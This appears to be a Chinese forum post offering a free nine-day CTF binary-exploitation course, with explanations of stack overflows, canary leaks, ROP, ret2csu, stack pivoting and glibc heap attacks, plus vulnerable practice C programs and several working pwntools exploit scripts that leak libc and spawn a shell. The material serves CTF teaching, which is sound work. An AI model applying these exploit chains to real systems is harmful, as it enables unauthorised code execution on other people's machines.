首页
社区
课程
招聘
[原创]赛棍pwn课程(结束了共计9天)
发表于: 2022-1-15 23:35 24158

[原创]赛棍pwn课程(结束了共计9天)

2022-1-15 23:35
24158

做这赛棍速成,其实就是图一乐,真想几天完成是不可能的啦,除非你有一定的基础,不过嘛
我自己学到的东西就这么多了从21-2-1到21-12-1就学了这些了。
--license--
1.课程全开源 全免费。
2.本课程仅供交流学习,不得用于任何盈利目的,并且因为个人原因使用,转载本课程造成的所有损失及法律责任均由使用者个人负责。

我也不知道我把这些自己录的课程发出来后会不会被人喷说误人子弟,违背ctf初心,但是我只是做一个自己所学的知识分享,希望有错误的地方可以指正我。
还有就是,不太习惯录制视频,视频可能看起来说话会很快让人很难受,前三天的视频我是不打算重做修改的了,第四天开始我会慢慢做的,从第四天开始就是堆的内容了,不要问我为什么不讲格式化字符串,因为这个东西用的少是一点,其实我自己玩的也不熟,就不来坑人了。

附件:
链接:https://pan.baidu.com/s/116g9xhnLipAQOssjGL9fwA?pwd=wfgy
提取码:wfgy
--来自百度网盘超级会员V3的分享

如果你不会Intel汇编基本,C基本语法 不会Python基本语法 不会linux基本操作 那就先学了再说吧,学会再来看后面的东西

所有报错有问题的直接复制百度什么都有答案了。

linux基本命令,差不多会这些就行了,写脚本自己安装个subl,不会就百度Ubuntu安装sublime

参数的替换自己看两眼就知道

建议自己配套视频食用

下面给大家看下一个最简单的交互脚本

栈溢出这个东西其实就是程序给你划分了一块空间,但是你写的代码允许输入超出这片空间大小的数据,就把你的数据

输入到了合法空间之外的地方造成了破坏,那么在这不允许用户操作的空间之中有着非常多的关键寄存器可以被我们控制

我们利用栈溢出传输数据改变寄存器的值达到代码执行的效果。

这里做个简单的不开启PIE 不开启canary保护的程序 编译后的程序在附件里自己看

canary其实就是在栈插入一个值,如果这个值被破坏了就会有专门的检测函数将程序强行退出了,但是可以通过泄露canary

然后去在栈溢出传入填充用字符的时候一起传进去就可以通过检测达到栈溢出

链接:https://pan.baidu.com/s/10_Iz1yUkDEfFtBNNXwQFTQ?pwd=8b84
提取码:8b84
--来自百度网盘超级会员V3的分享

对于函数他需要传入参数靠什么完成我想不用多说了,当然你Intel汇编没怎么看也没事,我这讲下。

函数的参数传入分别是靠di,si,dx,cx,r8,r9,r15这几大按顺序完成的

32位中前四个叫edi,esi,edx,ecx

64位中前四个叫rdi,rsi,rdx,rcx

举个例子read(0,buf,0x10);

3个参数是不是,那么rdi=0;rsi=&buf;rdx=0x10;就是这样完成的

这里顺带说下,ax寄存器的值和字符串长度挂钩这点比较重要等下要用

比如read(0,buf,0x10);我满满当当的输入0x10个字符,等read执行完此时的rax=0x10的,有兴趣可以动态调试看看,视频也有在csu讲解的地方录制这部分

(32位的程序是不靠寄存器传参完成函数功能实现,他靠的是栈上数据传入)

最基本的rop链构造,正常的漏洞利用哪有瓜皮给你后门哦,所以啊我们要去构造rop链进行攻击,思路可以大致分为以下步骤:

1.构造rop链泄露libc_base plt->got->函数的真正的地址

2.利用泄露的libc_base再构造一个包含system的rop链getshell

题目

exp

这里我再额外拓展下好了,现在关于C++的题目越来越多了,除了C其实还有要学下C++,很多人觉得C++的反汇编和shit一样

但是其实也没那么恶心,额外拓展可以看我博客

https://hgreed.vip/2021/12/17/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E7%8E%A9%E6%98%8E%E7%99%BDStack-migration/

tips:'a'*offset+p64(fake_stack)+P64(leave)

csuinit是一个二进制程序初始化的函数,视频有讲解,这里面有很多对寄存器的弹出,如果被我们利用到了就可以被我们传参去执行我们想要的函数,什么情况下要用csu呢,栈溢出存在但是溢出的非常小,不能构建一个基础rop,这时候就要用到栈迁移或者ret2csu

这里只讲csu和基础栈迁移,栈迁移的进阶玩法下一章再开

对于csu模板的使用要分清情况

这里的话因为我们是要去调用execve而不是让他执行完毕

所以末尾的'a'*56可以删除

还有在fist_csu后面也不能加'a'*8

题目

exp

题目和exp

链接:https://pan.baidu.com/s/18tRF62mbYF6ba_hBD5vWVA
提取码:4567
--来自百度网盘超级会员V2的分享

main函数

我们可以去用基础rop没问题但是这个例题只是为了更好的讲解csu的运用

没太多好讲的就是基本的模板题目,主要的是如果不用onegadget的话

拼接system的记得在/bin/sh后面加上ret进行栈对齐。栈对齐一直很玄学对我来说噗嗤。

exp

我的建议是如果有空的话,自己仿照我程序写一些题目自己来做,可以发挥自己探索能力,比如自己结合下第一章的泄露canary配上基础rop自己玩玩,或者说试试看基础栈迁移配上基础rop试试看都可以的,不要局限于我这简陋的教程

下面就举个例子我就不提供exp了想玩的朋友可以尝试下,自己编译自己写

解题思路就是先在pwnme上布局基础rop泄露libc然后栈迁移过去执行,然后再来一次就是getshell,秒杀题。

编译指令

gcc -fno-stack-protector -no-pie -o lowrop lowrop.c

https://blog.csdn.net/SUKI547/article/details/103315487?ops_request_misc=&request_id=&biz_id=102&utm_term=linux%20%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E8%A1%A864%E4%BD%8D&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187

链接:https://pan.baidu.com/s/1iYK0-j6Z2vJAZvXHUo-rXg?pwd=whv5
提取码:whv5
--来自百度网盘超级会员V3的分享

链接:https://pan.baidu.com/s/1sP9edPkKuyhN9Cb7nX6tjw?pwd=3zvv
提取码:3zvv
--来自百度网盘超级会员V3的分享

堆一直以来都是pwn的一个分水岭,你在CTF走多远就取决于你堆玩的有多骚(别杠,杠就是你对)

虽然实际生产中很多都栈的漏洞,而且版本比较老都是16-18的系统的漏洞,但是CTF就是卷啊,卷死了我才想跑路了的。废话不多说给大家介绍下什么是堆以及堆GDB常用命令。

其实堆你就可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据

那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

总的来说,就是划分为了2部分,管理区块和数据存放区块,存放区块就是堆,管理区块可以对堆增删改查。

off by one

off by null

堆溢出

UAF

double free

其实无论什么题型,最后都是为了在管理区块上有多个指针指向同一个堆,最后的效果都是如此的

min:最小值为0x20 你申请的再小都好 他都会划分为0x20

堆块大小的计算方式:你申请一个0x20的你会得到0x30 0x28的也是会得到0x30 他会自动进1位 原理等下讲

bin管理区块是管理被free后的堆的,是可以被我们利用的

tcache bins: 0-0x420大小 被free后的堆会进入这 填满7个后就不会再往里面填 寻址方式靠fd指针

large bin: 寻址方式靠fd bk指针 双向链表

small bin :寻址方式靠fd bk指针 双向链表

fastbin: 0~0x90寻址方式靠fd 指针 单链表

unsortedbin:寻址方式靠fd bk指针 双向链表

tcache机制在Ubuntu18及以上才有,如果tcache里面有则优先从tcache里面取,如果没有就去对应大小的bin里面取,还是没有才去unsortedbin里面切割。

在堆没被释放的时候堆的有效字段为size,size以下都是我们的content也就是我们可以写入的内容,大小根据程序来申请的size来决定

我们前面提到了一点堆的size的问题,为什么是取16的整数倍是因为哪怕最小的一个chunk他需要的字段都要包含

prev_size size

fd bk

fd_next bk_next是large bin 和small bin 才有的

关于size字段他又存在一个insure标志位我们申请的正常的堆在gdb看见的size字段结尾都是1例如0x91

这个insure位是用来记录这个堆前面的堆是否被释放,这里简单提下off by null的利用假设我的堆本来是

0x111大小的然后前面的堆是没被释放的,但是因为这个漏洞的关系导致了我0x111大小被修改为0x100

那么此时程序就误认为我们前面的堆被释放了,我们再去释放这个0x100的堆,前面的堆就会因为合并规则

和这个堆一起被丢进bins里面,但是我们的管理区块是没有删除他们的地址的,所以当我们再去申请的时候

就会造成管理区块有多个地址指向同一个堆可以造成堆复用进而导致getshell。

prev_size记录的是前一个堆块的大小是只有当前一个堆块被free的时候才会出现的,这个的初衷是用来防止用户串改被释放后的堆块的大小的但是我们依然各种漏洞绕过。

fd,bk指针是当chunk进入到bin里面会被启用的字段,此时他们就是有效的指针,我们可以修改指针达到任意地址申请的效果

利用栈溢出直接修改fd指针任意申请

题目限制大小申请不能获取到unsortedbin的chunk

虽然这个题也可以用修改大小的方式打,但是我这里的教学目的是教大家怎么控制tcache来实现unsortedbin的获取

uaf漏洞任意申请配合打tcache乱杀

链接:https://pan.baidu.com/s/1ZL4n5imOqex3ePh-7Jg0uQ?pwd=u6c1
提取码:u6c1
--来自百度网盘超级会员V3的分享

从第五天开始分享就是分享一些堆常用手法,常用手法讲完了会讲一些比赛比较有意思的题,最近hgame就是杭电的新生赛的pwn题我觉得还不错,5道做了4道,有一个spfa算法题搞不定,算法菜鸡002BB39F

堆的合并检测的绕过讲起来很麻烦,我们这里直接用万用法绕过检测即可

就用这题来讲,我们这里修改大小为0x421是因为tcache最大的大小是0x420,改成这个大小free后就可以避开tcache减少堆利用,而且可以获取到unsortedbin得到有效的libc_base,1是insure位过检测

关于合并检测的绕过就把要被合并的堆里面全填入p64(0x21)直接梭哈完全不用思考

具体其他的请看视频

核心思想:

第一步控制__free_hook

第二步往hook里面写入setcontext+53真实地址

第三步写入shellcode获取文件名然后free掉被写入shellcode的堆

第四步写入shellcode获取flag

源码

exp

Ubuntu20的setcontext不再是从+53开始利用而是从+61开始

传参的寄存器变成了rdx不再是rdi,所以需要用ropper寻找gadget把rdi的内容传给rdx并且去call rdx去执行shell

其他的思路和Ubuntu18差不多,需要多获取的一个就是堆的地址。

exp

链接:https://pan.baidu.com/s/1kHcrDz3nEHiRUxJij5OMdg?pwd=3kz1
提取码:3kz1
--来自百度网盘超级会员V3的分享

今天主要讲下hgame的比赛题还有就是hws的题,hws做了2个pwn一个原题一个类似祥云杯的lemon,但是可以非预期掉

我已经准备跑路了,打ctf打的心累最近发生了一些事情,打算好好学算法(已经在刷LeetCode了)然后看下考研考网络空间安全要看什么书。。。提升学历去了,二本嗯,惨。(好好努力,卷死所有人)

所以这个赛棍pwn的课程更新可能最多一❤期2更。

第一个题送分题直接扒拉原文拿了个二血

https://www.anquanke.com/post/id/258512

我不会house of banana,赛后问人的exp

题目给了三次任意任意堆地址写入,并且free堆块的时候没有清楚干净可以泄露libc地址和heap地址。可以用house of banana进行堆布局用largebinattack打rtld_global并伪造其结构体,因为开了沙盒64位的open,openat都不能用,但是可以切换到32位的去open,这个的话去年强网杯有考过,找retf改位数然后写orw的汇编就行。

exp

类似2021祥云杯的lemon,如果被套进去打IO就很花时间,要处理一段加密,直接当堆沙盒打就行了。

exp

利用数组越界漏洞泄露libc,再用double free tcache直接改链

签到题,要调试下溢出的特性这里视频会讲,贴个exp

exp

利用多线程溢出绕过canary比对,参考如下

https://eternalsakura13.com/2018/04/24/starctf_babystack/

exp

栈溢出沙盒,要获取目录名,不难

exp

杭电觉得前面的题对新人不友好,就出了个特简单的送分题

exp

链接:https://pan.baidu.com/s/1UCIf3ySoXjDwhYpfUvwnSQ?pwd=7mbr
提取码:7mbr
--来自百度网盘超级会员V3的分享

继续回到堆上面,今天主要讲的是off by xx系列的题目,题目全部选自2021强网拟态的线上初赛,都是不太难的题目,可以说这次强网拟态真的是off系列全家桶了,做完这一天的量没几天就要过年了,大家都开开心心过年吧QWQ,更新什么的2月3之后再更新吧

给了个后门,我不会用,直接暴打。

利用scanf传入过大数据会申请chunk的特性,用它来整理fastbin为smallbin

泄露libc,最后利用chunk extend造成堆重叠打free_hook,完美梭哈

(细节看视频)

off by null 也是套路,修改prevsize向上合并,细节方面没什么要考究的,就是个大小计算,其他的看视频看多几次就好了

附件:

链接:https://pan.baidu.com/s/1Mfmri3LHHkI0EZmVrQdLuA?pwd=n2yd

提取码:n2yd

--来自百度网盘超级会员V3的分享

今天东西就一个,2.33版本的堆申请,2.34的题我想讲,奈何太菜了,没找到相关资料(今年湖湘杯的线上赛题目我没保存,有一道是2.34,祭),how2heap上面的话有点抽象看的。我要是学会了,就会来更新。

(痛苦面具,HWS又改线上了┭┮﹏┭┮ o(╥﹏╥)o)

星盟,国资社畜(你有多想pwn)

先形成tcache然后第一个tcache的fd位存放着tcache chunk地址的左移12位数值,这个值就是整个程序的异或key

其余的堆下次申请地址的时候都会和这个key异或一次。

附件:
链接:https://pan.baidu.com/s/116g9xhnLipAQOssjGL9fwA?pwd=wfgy
提取码:wfgy
--来自百度网盘超级会员V3的分享

链接:https://pan.baidu.com/s/1likYivkuoNFZmFfLFBQxnw?pwd=vvtq
提取码:vvtq
--来自百度网盘超级会员V4的分享

apt
pip
rm
mv
cp
cd
gcc 原文链接:https://blog.csdn.net/lonyliu/article/details/90341012
apt
pip
rm
mv
cp
cd
gcc 原文链接:https://blog.csdn.net/lonyliu/article/details/90341012
https://blog.lao-yuan.com/2018/06/09/Linux-GCC%E5%AE%89%E5%85%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6.html
https://blog.lao-yuan.com/2018/06/09/Linux-GCC%E5%AE%89%E5%85%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6.html
IDA7.5或者7.6
 
pwntools(自己去官网装或者用我的虚拟机)
 
### IDA7.5
 
链接:https://pan.baidu.com/s/1Aj7z43cOWKoFaIMUxKRoeA
提取码:4567
--来自百度网盘超级会员V2的分享
 
 
 
### Ubuntu16克隆
 
链接:https://pan.xunlei.com/s/VMe8S_jNaevdVYO5uJX22SAbA1
提取码:zr5y
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu18克隆
 
链接:https://pan.xunlei.com/s/VMe8Sf9s39ZC-xdGnH6ONRcmA1
提取码:8fxe
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu20克隆
 
链接:https://pan.xunlei.com/s/VMe8SkH7YXl7Y__TeVzFdAD5A1
提取码:j7ze
复制这段内容后打开手机迅雷App,查看更方便
 
建议全部机子都下载下来,以后用的到
 
python2.7以上
 
onegadget
 
ROPgadget
 
pwngdb+pwndbg https://blog.csdn.net/weixin_43092232/article/details/105648769
 
patchelf (用apt安装)
 
glibc-all-in-one(github有自己下载)
 
glibc查询网址 https://libc.blukat.me
IDA7.5或者7.6
 
pwntools(自己去官网装或者用我的虚拟机)
 
### IDA7.5
 
链接:https://pan.baidu.com/s/1Aj7z43cOWKoFaIMUxKRoeA
提取码:4567
--来自百度网盘超级会员V2的分享
 
 
 
### Ubuntu16克隆
 
链接:https://pan.xunlei.com/s/VMe8S_jNaevdVYO5uJX22SAbA1
提取码:zr5y
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu18克隆
 
链接:https://pan.xunlei.com/s/VMe8Sf9s39ZC-xdGnH6ONRcmA1
提取码:8fxe
复制这段内容后打开手机迅雷App,查看更方便
 
 
 
### Ubuntu20克隆
 
链接:https://pan.xunlei.com/s/VMe8SkH7YXl7Y__TeVzFdAD5A1
提取码:j7ze
复制这段内容后打开手机迅雷App,查看更方便
 
建议全部机子都下载下来,以后用的到
 
python2.7以上
 
onegadget
 
ROPgadget
 
pwngdb+pwndbg https://blog.csdn.net/weixin_43092232/article/details/105648769
 
patchelf (用apt安装)
 
glibc-all-in-one(github有自己下载)
 
glibc查询网址 https://libc.blukat.me
ROPgadget --binary un --only 'pop|pop|pop|ret'
可以查询gadget un是文件名字
 
one_gadget libc-2.31.so
查看onegadget
 
strings -a ./un  | grep "GCC"
查询文件编译的系统版本
 
checksec xx
查询保护机制
ROPgadget --binary un --only 'pop|pop|pop|ret'
可以查询gadget un是文件名字
 
one_gadget libc-2.31.so
查看onegadget
 
strings -a ./un  | grep "GCC"
查询文件编译的系统版本
 
checksec xx
查询保护机制
双击变量看变量地址或者进入函数
 
ctrl+s看各种区段的地址
 
F5一键反汇编
 
对变量或函数按x查看上级调用
 
Ctrl+alt+k keypatch快捷键修改汇编代码
双击变量看变量地址或者进入函数
 
ctrl+s看各种区段的地址
 
F5一键反汇编
 
对变量或函数按x查看上级调用
 
Ctrl+alt+k keypatch快捷键修改汇编代码
from pwn import *
r=process('./name')#process是pwntools模块加载本地程序的方法,变量是字符串形式执行二进制文件的命令
r=remote("127.0.0.1",6666)#remote是pwntools是远程连接目标IP,port的方法
context(log_level="debug",arch="amd64",os="linux")#context方法用于定义脚本模式,log_level是否调试,arhc为程序位数,os为脚本运行系统
r.recv()#recv()如果不加参数就是接受所有的字符,加参数比如r.recv(1)就是接受一个字符然后继续然后改方法的返回值就是他接受到的东西
r.recvuntil('111')#recvuntil()是接受到某个指定的字符或者字符串为止然后改方法的返回值就是他接受到的东西
r.send("11")#send()方法用来发送字符串不带回车也就是字符串结尾没有\n
r.sendline("111")#sendline()方法用来发送字符串带回车也就是字符串结尾有\n
backdoor=0x400060
pay='a'*0x18+p64(backdoor)#p64() p32 p16() p8()都是用来包装转化十六进制的p64()是对应64位程序,p32()是32位的 其实说开了p64()包装8个字节,32包装4个,16是2个,8是一个,同时我们泄露了数据要用u64() u32()来转化数据泄露的数据
r.sendline(payload)
r.interactive()#将程序交互给到用户来操作
from pwn import *
r=process('./name')#process是pwntools模块加载本地程序的方法,变量是字符串形式执行二进制文件的命令
r=remote("127.0.0.1",6666)#remote是pwntools是远程连接目标IP,port的方法
context(log_level="debug",arch="amd64",os="linux")#context方法用于定义脚本模式,log_level是否调试,arhc为程序位数,os为脚本运行系统
r.recv()#recv()如果不加参数就是接受所有的字符,加参数比如r.recv(1)就是接受一个字符然后继续然后改方法的返回值就是他接受到的东西
r.recvuntil('111')#recvuntil()是接受到某个指定的字符或者字符串为止然后改方法的返回值就是他接受到的东西
r.send("11")#send()方法用来发送字符串不带回车也就是字符串结尾没有\n
r.sendline("111")#sendline()方法用来发送字符串带回车也就是字符串结尾有\n
backdoor=0x400060
pay='a'*0x18+p64(backdoor)#p64() p32 p16() p8()都是用来包装转化十六进制的p64()是对应64位程序,p32()是32位的 其实说开了p64()包装8个字节,32包装4个,16是2个,8是一个,同时我们泄露了数据要用u64() u32()来转化数据泄露的数据
r.sendline(payload)
r.interactive()#将程序交互给到用户来操作
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf("%s")无限制长度输入数据
read(0,buf,xx) xx的大小大于buf本身
strcat() 字符串的复制越界复制
gets()无限制长度输入数据
scanf("%s")无限制长度输入数据
read(0,buf,xx) xx的大小大于buf本身
//day1_over
#include<stdio.h>
void main()
{
    char buf[0x10];
    read(0,buf,0x100);
}
void backdoor()
{
    system("/bin/sh");
}
//day1_over
#include<stdio.h>
void main()
{
    char buf[0x10];
    read(0,buf,0x100);
}
void backdoor()
{
    system("/bin/sh");
}
from pwn import *r=process("./day1_over")retn=0x40055Cback=0x40055Dpay='a'*0x18+p64(retn)+p64(back)r.sendline(pay)r.interactive()
from pwn import *r=process("./day1_over")retn=0x40055Cback=0x40055Dpay='a'*0x18+p64(retn)+p64(back)r.sendline(pay)r.interactive()
//day1_over-canary#include<stdio.h>void main(){   char buf[0x10]; read(0,buf,0x100);  puts(buf);  read(0,buf,0x100);}void backdoor(){ system("/bin/sh");}
//day1_over-canary#include<stdio.h>void main(){   char buf[0x10]; read(0,buf,0x100);  puts(buf);  read(0,buf,0x100);}void backdoor(){ system("/bin/sh");}
from pwn import *r=process("./day1_over-canary")context_log_level='debug'retn=0x40066Eback=0x400657pay='a'*(0x20-8)+'b'r.send(pay)r.recvuntil('b')canary=u64(r.recv(7)+'\x00')*0x100print(hex(canary))r.recv()pay='a'*(0x20-8)+p64(canary)+'a'*8+p64(retn)+p64(back)r.send(pay)r.interactive()
from pwn import *r=process("./day1_over-canary")context_log_level='debug'retn=0x40066Eback=0x400657pay='a'*(0x20-8)+'b'r.send(pay)r.recvuntil('b')canary=u64(r.recv(7)+'\x00')*0x100print(hex(canary))r.recv()pay='a'*(0x20-8)+p64(canary)+'a'*8+p64(retn)+p64(back)r.send(pay)r.interactive()
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("good");
    read(0,buf,0x100);
}
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("good");
    read(0,buf,0x100);
}
from pwn import *
r=process('./lowrop')
context.log_level='debug'
elf=ELF('./lowrop')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004005d3
ret=0x400568
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pay='a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x400537)
r.sendline(pay)
r.recvuntil('\n')
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay='a'*0x28+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.sendline(pay)
r.interactive()
from pwn import *
r=process('./lowrop')
context.log_level='debug'
elf=ELF('./lowrop')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004005d3
ret=0x400568
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pay='a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x400537)
r.sendline(pay)
r.recvuntil('\n')
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay='a'*0x28+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.sendline(pay)
r.interactive()
def ret_csu(r12, r13, r14, r15, last):
    payload = offset * 'a' 
    #构造栈溢出的padding
    payload += p64(first_csu) + 'a' * 8   
    #gadgets1的地址
    payload += p64(0) + p64(1)
    #rbx=0, rbp=1
    payload += p64(r12) pust_plt
    #call调用的地址
    payload += p64(r13) + p64(r14) + p64(r15)
    #三个参数的寄存器
    payload += p64(second_csu)
    #gadgets2的地址
    payload += 'a' * 56
    #pop出的padding
    payload += p64(last)
    #函数最后的返回地址
    return payload
def ret_csu(r12, r13, r14, r15, last):
    payload = offset * 'a' 
    #构造栈溢出的padding
    payload += p64(first_csu) + 'a' * 8   
    #gadgets1的地址
    payload += p64(0) + p64(1)
    #rbx=0, rbp=1
    payload += p64(r12) pust_plt
    #call调用的地址
    payload += p64(r13) + p64(r14) + p64(r15)
    #三个参数的寄存器
    payload += p64(second_csu)
    #gadgets2的地址
    payload += 'a' * 56
    #pop出的padding
    payload += p64(last)
    #函数最后的返回地址
    return payload
#include<stdio.h>
char name[0x100];
void gift()
{
    asm volatile ("syscall;\n\t");
}
void main()
{
    char buf[0x20];
     puts("name:");
     read(0,name,0x100);
     puts("passwd:");
     read(0,buf,0x40);
}
#include<stdio.h>
char name[0x100];
void gift()
{
    asm volatile ("syscall;\n\t");
}
void main()
{
    char buf[0x20];
     puts("name:");
     read(0,name,0x100);
     puts("passwd:");
     read(0,buf,0x40);
}
from pwn import *
csu_one=0x4005FA
csu_two=0x4005E0
syscall=0x40053B
leave=0x400597
bss=0x601060
r=process('./csu_mig')
r.recv()
def ret_csu(r12, r13, r14, r15, last):
    payload='/bin/sh\x00'
 
    payload += p64(csu_one)
 
    payload += p64(0) + p64(1)
 
    payload += p64(r12)
 
    payload += p64(r15) + p64(r14) + p64(r13)
 
    payload += p64(csu_two)
    payload += p64(last)
 
 
    return payload
ab=ret_csu(bss+72,0,0,bss,syscall)
r.send(ab)
r.recv()
payload='a'*0x20+p64(bss)+p64(leave)
r.send(payload.ljust(0x3b,'a'))
r.interactive()
from pwn import *
csu_one=0x4005FA
csu_two=0x4005E0
syscall=0x40053B
leave=0x400597
bss=0x601060
r=process('./csu_mig')
r.recv()
def ret_csu(r12, r13, r14, r15, last):
    payload='/bin/sh\x00'
 
    payload += p64(csu_one)
 
    payload += p64(0) + p64(1)
 
    payload += p64(r12)
 
    payload += p64(r15) + p64(r14) + p64(r13)
 
    payload += p64(csu_two)
    payload += p64(last)
 
 
    return payload
ab=ret_csu(bss+72,0,0,bss,syscall)
r.send(ab)
r.recv()
payload='a'*0x20+p64(bss)+p64(leave)
r.send(payload.ljust(0x3b,'a'))
r.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  vul(0LL, 0LL, 0LL);
  read(0, buf, 0x100uLL);
  return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  vul(0LL, 0LL, 0LL);
  read(0, buf, 0x100uLL);
  return 0;
}
from pwn import *
 
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
sh = process("easycsu")
 
context.log_level = "DEBUG"
 
gadget1 = 0x00000000004011FE
 
gadget2 = 0x00000000004011E8
 
put_addr = 0x0000000000404018
 
libc_addr = 0x0000000000403ff0
 
start_addr = 0x0000000000401050
 
payload = (0x20 + 8) * 'a'
 
payload += p64(gadget1)
 
payload += 'a' * 8
 
payload += p64(0)
 
payload += p64(1)
 
payload += p64(put_addr)
 
payload += p64(0x0000000000404018) + p64(0x0000000000404018) + p64(0x0000000000404018)
 
payload += p64(gadget2)
 
payload += 'a' * 56
 
payload += p64(start_addr)
 
sh.recv()
 
 
 
sh.send(payload)
 
real_addr = u64(sh.recv(6).ljust(8,'\x00'))
 
 
print hex(real_addr)
 
addr_base = real_addr - libc.sym['puts']
 
print(hex(libc.sym['puts']))
 
system_addr = addr_base + libc.sym['system']
 
binsh_addr = addr_base + 0x1b3e1a
 
one=0x4f3d5+addr_base
 
pop_addr = 0x000000000040120b
 
sh.recv()
 
#payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(0x0000000000401016)+p64(system_addr)
 
payload=(0x20 + 8) * 'a' +p64(one)
sh.send(payload)
sh.sendline('cat flag')
sh.interactive()
from pwn import *
 
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
sh = process("easycsu")
 
context.log_level = "DEBUG"
 
gadget1 = 0x00000000004011FE
 
gadget2 = 0x00000000004011E8
 
put_addr = 0x0000000000404018
 
libc_addr = 0x0000000000403ff0
 
start_addr = 0x0000000000401050
 
payload = (0x20 + 8) * 'a'
 
payload += p64(gadget1)
 
payload += 'a' * 8
 
payload += p64(0)
 
payload += p64(1)
 
payload += p64(put_addr)
 
payload += p64(0x0000000000404018) + p64(0x0000000000404018) + p64(0x0000000000404018)
 
payload += p64(gadget2)
 
payload += 'a' * 56
 
payload += p64(start_addr)
 
sh.recv()
 
 
 
sh.send(payload)
 
real_addr = u64(sh.recv(6).ljust(8,'\x00'))
 
 
print hex(real_addr)
 
addr_base = real_addr - libc.sym['puts']
 
print(hex(libc.sym['puts']))
 
system_addr = addr_base + libc.sym['system']
 
binsh_addr = addr_base + 0x1b3e1a
 
one=0x4f3d5+addr_base
 
pop_addr = 0x000000000040120b
 
sh.recv()
 
#payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(0x0000000000401016)+p64(system_addr)
 
payload=(0x20 + 8) * 'a' +p64(one)
sh.send(payload)
sh.sendline('cat flag')
sh.interactive()
#include<stdio.h>
char pwnme[0x100];
void main(){
    char buf[0x20];
    puts("hello!");
    read(0,pwnme,0x100);
    puts("wuhu");
    read(0,buf,0x30);
}
#include<stdio.h>
char pwnme[0x100];
void main(){
    char buf[0x20];
    puts("hello!");
    read(0,pwnme,0x100);
    puts("wuhu");
    read(0,buf,0x30);
}
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("只能写一点点");
    read(0,buf,0x30);
}
#include<stdio.h>
void main()
{
    char buf[0x20];
    puts("只能写一点点");
    read(0,buf,0x30);
}
from pwn import *
r=process('./alittle')
elf=ELF('./alittle')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss=0x601000+0x600
rdi=0x00000000004005d3
leave=0x40054B
ret=0x400568
r.recv()
pay='a'*0x20+p64(bss)+p64(leave)#rbp
gdb.attach(r)
r.send(pay)
raw_input()
gdb.attach(r)
pay1='a'*0x20+p64(bss+0x20)+p64(leave)#rsp
r.send(pay1)
raw_input()
pay2=p64(bss+0x30)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)
gdb.attach(r)
r.send(pay2)
raw_input()
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp
gdb.attach(r)
r.send(pay3)
raw_input()
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.send(pay4)
r.interactive()
from pwn import *
r=process('./alittle')
elf=ELF('./alittle')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss=0x601000+0x600
rdi=0x00000000004005d3
leave=0x40054B
ret=0x400568
r.recv()
pay='a'*0x20+p64(bss)+p64(leave)#rbp
gdb.attach(r)
r.send(pay)
raw_input()
gdb.attach(r)
pay1='a'*0x20+p64(bss+0x20)+p64(leave)#rsp
r.send(pay1)
raw_input()
pay2=p64(bss+0x30)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)
gdb.attach(r)
r.send(pay2)
raw_input()
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
pay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp
gdb.attach(r)
r.send(pay3)
raw_input()
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.send(pay4)
r.interactive()
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
安装流程:
sudo apt install gcc ruby-dev
